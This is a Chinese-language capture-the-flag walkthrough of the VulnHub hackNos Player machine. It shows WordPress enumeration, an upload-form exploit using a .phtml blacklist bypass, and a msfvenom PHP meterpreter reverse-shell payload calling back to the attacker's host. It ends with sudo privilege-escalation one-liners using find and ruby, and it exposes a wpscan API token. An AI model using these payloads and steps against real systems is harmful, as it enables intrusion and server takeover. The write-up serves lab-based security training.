介绍
系列: hackNos(此系列共7台)
发布日期:2020年04月10日
难度:初级-中级
Flag : 1个,根用户的root.txt
学习:
- wordpress 安全测试
- 远程代码执行
- 特权提升
靶机地址:https://www.vulnhub.com/entry/hacknos-player-v11,459/
信息收集
主机发现
arp-scan主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
主机信息探测
- 开放端口探测:
nmap -p- 192.168.1.117
,只开放了80和3306端口(快速确认开放端口)
- 对开放端口服务做进一步探测:
nmap -p80,3306 -sV 192.168.1.117
- 使用默认的NSE脚本进行扫描:
nmap -p3306 -sC 192.168.1.117
网站探测
目录扫描
gobuster dir -u http://192.168.1.117/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
没发现什么有价值的信息,换用之前的文章 HACLABS: NO_NAME 中的套路(换用大字典)的方式依然无效。木得办法,回过头来看看网站首页吧,能不能看到什么有价值的东西。发现了一个网站目录:“g@web”
由于需要加载google站点的api,打开速度略慢。耐心等待一会后看到了如下网站。通过插件得知网站是WordPress 5.3.11
wpscan列出站点的用户名、账号
wpscan --url http://192.168.1.117/g@web -e u --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8
wpscan漏扫网站
wpscan --url http://192.168.1.117/g@web/ -e vp --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8
复制下来,对url地址略作修改,得到:
<form method="post" enctype="multipart/form-data" action="http://192.168.1.117/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
After doing this, an uploaded file can be accessed at, say:
http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
将其保存为本地的一个html文件,然后用浏览器打开它,如下图,是一个文件上传
这就好说了,一句话木马来了😎
Getshell
由于webshell管理工具的字体大小、背景颜色不便于截图展示,所以我这里还是用msf来做吧。
- msf准备
生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.118 LPORT=4444 x> shell.php
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.118
exploit
- 投递后门,失败了
看到提示,文件格式不支持!自己真是大意了,回过头在漏洞验证网站中得知,漏洞的成因为使用了switch case简单匹配了黑名单后缀导致可进行绕过,漏洞验证网站建议我们使用.phtml
后缀绕过
- 修改后门后缀为
.phtml
,重新投递文件
- 访问后门
根据利用代码得知,上传的文件在:http://example.com/wp-content/uploads/wpsp
- 获取shell
提权
前面使用wpscan拿到了密码:**hackNos@9012!! **,依次尝试,得知是 **security **用户的
sudo提权
- 第一次sudo提权
提示可以通过用户hacknos
进行find
提权,而靶机上只有hackNos-boat、hunter、security三个用户,因此这里的用户hacknos
指的应该是hackNos-boat
如下图,切换用户hacknos
失败,切换hackNos-boat
成功
通过网站 https://gtfobins.github.io/gtfobins/find/ 获知提权命令:
sudo -u hackNos-boat find . -exec /bin/bash \; -quit
- 第二次sudo提权
继续尝试sudo提权,发现ruby提权,通过网站 https://gtfobins.github.io/gtfobins/ruby/ 得知提权命令:
sudo -u hunter ruby -e 'exec "/bin/sh"'
- 第三次sudo提权
获取所有Flag
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134245.html